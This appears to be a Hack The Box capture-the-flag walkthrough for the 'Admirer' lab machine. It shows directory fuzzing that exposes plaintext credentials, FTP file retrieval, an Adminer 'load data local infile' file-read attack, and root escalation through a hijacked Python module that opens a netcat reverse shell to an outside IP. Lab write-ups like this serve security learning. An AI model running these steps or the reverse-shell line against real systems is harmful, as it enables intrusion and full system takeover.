ROBOTS.TXT

WFUZZ TO GET TXT DIRECTORY (CREDS)

USING FTP CREDS TO GET SQL CREDS

WFUZZ TO LOCATE PHP DIRECTORY

ADMINER EXPLOIT

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)

| ssh-hostkey:

| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)

| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)

|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)

80/tcp open http Apache httpd 2.4.25 ((Debian))

| http-robots.txt: 1 disallowed entry

|_/admin-dir

|_http-server-header: Apache/2.4.25 (Debian)

|_http-title: Admirer

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

http://admirer.htb/robots.txt

root@kali:/home/kali/Desktop/hackthebox/admirer# gobuster dir -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt

http://admirer.htb/admin-dir/contacts.txt

root@kali:/home/kali/Desktop/hackthebox/admirer# wfuzz -u http://10.10.10.187/admin-dir/FUZZ.txt -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/big.txt --sc 200

000005198: 200 29 L 39 W 350 Ch "contacts"

##########

admins

##########

Penny

Email: p.wise@admirer.htb

##############

developers

##############

Rajesh

Email: r.nayyar@admirer.htb

Amy

Email: a.bialik@admirer.htb

Leonard

Email: l.galecki@admirer.htb

#############

designers

#############

Howard

Email: h.helberg@admirer.htb

Bernadette

Email: b.rauch@admirer.htb

000005443: 200 11 L 13 W 136 Ch "credentials"

[Internal mail account]

w.cooper@admirer.htb

fgJr6q#S\W:$P

[FTP account]

ftpuser

%n?4Wz}R$tTF7

[Wordpress account]

admin

w0rdpr3ss01!

root@kali:/home/kali/Desktop/hackthebox/admirer# ftp admirer.htb

Connected to admirer.htb.

220 (vsFTPd 3.0.3)

Name (admirer.htb:kali): ftpuser

331 Please specify the password.

Password: %n?4Wz}R$tTF7

230 Login successful.

ftp> get dump.sql

local: dump.sql remote: dump.sql

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for dump.sql (3405 bytes).

226 Transfer complete.

3405 bytes received in 0.00 secs (1.8223 MB/s)

ftp> get html.tar.gz

local: html.tar.gz remote: html.tar.gz

200 PORT command successful. Consider using PASV.

150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).

226 Transfer complete.

5270987 bytes received in 4.39 secs (1.1462 MB/s)

root@kali:/home/kali/Desktop/hackthebox/admirer# tar xzf html.tar.gz

root@kali:/home/kali/Desktop/hackthebox/admirer/utility-scripts# cat db_admin.php

```
<?php

 $servername = "localhost";

 $username = "waldo";

 $password = "Wh3r3_1s_w4ld0?";


 // Create connection

 $conn = new mysqli($servername, $username, $password);


 // Check connection

 if ($conn->connect_error) {

    die("Connection failed: " . $conn->connect_error);

 }

 echo "Connected successfully";



 // TODO: Finish implementing this or find a better open source alternative

?>
```

admirer.htb/utility-scripts/

root@kali:/home/kali/Desktop/hackthebox/admirer# wfuzz -u http://10.10.10.187/utility-scripts/FUZZ.php -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/big.txt --sc 200

000001873: 200   51 L   235 W   4157 Ch   "adminer"

http://admirer.htb/utility-scripts/adminer.php

https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

CREATE DATABASE admirer;
CREATE USER 'demo'@'%' IDENTIFIED BY 'demo_admirer';
GRANT ALL PRIVILEGES ON * . * TO 'demo'@'%';
FLUSH PRIVILEGES;
USE admirer;
create table test(data VARCHAR(255));

http://admirer.htb/utility-scripts/adminer.php

load data local infile '../index.php'
into table test
fields terminated by "/n"

```
                    <!-- Main -->
                        <div id="main">
                        <?php
                $servername = "localhost";
                $username = "waldo";
                $password = "&<h5b~yK3F#{PaPB&dA}{H>";
                $dbname = "admirerdb";
```

&<h5b~yK3F#{PaPB&dA}{H>

root@kali:/home/kali/Desktop/hackthebox# ssh waldo@admirer.htb

waldo@admirer:~$ sudo -l

[sudo] password for waldo:

Sorry, try again.

[sudo] password for waldo:

Matching Defaults entries for waldo on admirer:

env_reset, env_file=/etc/sudoenv, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:

(ALL) SETENV: /opt/scripts/admin_tasks.sh

waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh

#!/bin/bash

view_uptime()

{

/usr/bin/uptime -p

}

```
view_users()
{
   /usr/bin/w
}

view_crontab()
{
   /usr/bin/crontab -l
}

backup_passwd()
{
   if [ "$EUID" -eq 0 ]
   then
      echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
      /bin/cp /etc/passwd /var/backups/passwd.bak
      /bin/chown root:root /var/backups/passwd.bak
      /bin/chmod 600 /var/backups/passwd.bak
      echo "Done."
   else
      echo "Insufficient privileges to perform the selected operation."
   fi
}

backup_shadow()
{
   if [ "$EUID" -eq 0 ]
   then
      echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
      /bin/cp /etc/shadow /var/backups/shadow.bak
      /bin/chown root:shadow /var/backups/shadow.bak
```

```
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

backup_db()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running mysqldump in the background, it may take a while..."
        #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
        /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
```

```
# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
   option=$1
   case $option in
      1) view_uptime ;;
      2) view_users ;;
      3) view_crontab ;;
      4) backup_passwd ;;
      5) backup_shadow ;;
      6) backup_web ;;
      7) backup_db ;;

      *) echo "Unknown option." >&2
   esac

   exit 0
fi



# Interactive way, to be called from the command line
options=("View system uptime"
        "View logged in users"
        "View crontab"
        "Backup passwd file"
        "Backup shadow file"
        "Backup web data"
        "Backup DB"
        "Quit")
```

```
echo

echo "[[[ System Administration Menu ]]]"

PS3="Choose an option: "

COLUMNS=11

select opt in "${options[@]}"; do

   case $REPLY in

      1) view_uptime ; break ;;

      2) view_users ; break ;;

      3) view_crontab ; break ;;

      4) backup_passwd ; break ;;

      5) backup_shadow ; break ;;

      6) backup_web ; break ;;

      7) backup_db ; break ;;

      8) echo "Bye!" ; break ;;


      *) echo "Unknown option." >&2

   esac

done


exit 0

waldo@admirer:/opt/scripts$ cat backup.py

#!/usr/bin/python3


from shutil import make_archive


src = '/var/www/html/'


# old ftp directory, not used anymore

#dst = '/srv/ftp/html'


dst = '/var/backups/html'
```

```
make_archive(dst, 'gztar', src)

waldo@admirer:/tmp$ mkdir fakeshutil

waldo@admirer:/tmp$ nano shutil.py

waldo@admirer:/tmp$ cat shutil.py

import os

def make_archive(x,y,z):

        os.system("nc 10.10.14.17 4444 -e /bin/sh")


waldo@admirer:/tmp/fakeshutil$ sudo PYTHONPATH=/tmp/fakeshutil /opt/scripts/admin_tasks.sh


[[[ System Administration Menu ]]]

1) View system uptime

2) View logged in users

3) View crontab

4) Backup passwd file

5) Backup shadow file

6) Backup web data

7) Backup DB

8) Quit

Choose an option: 6

Running backup script in the background, it might take a while...
```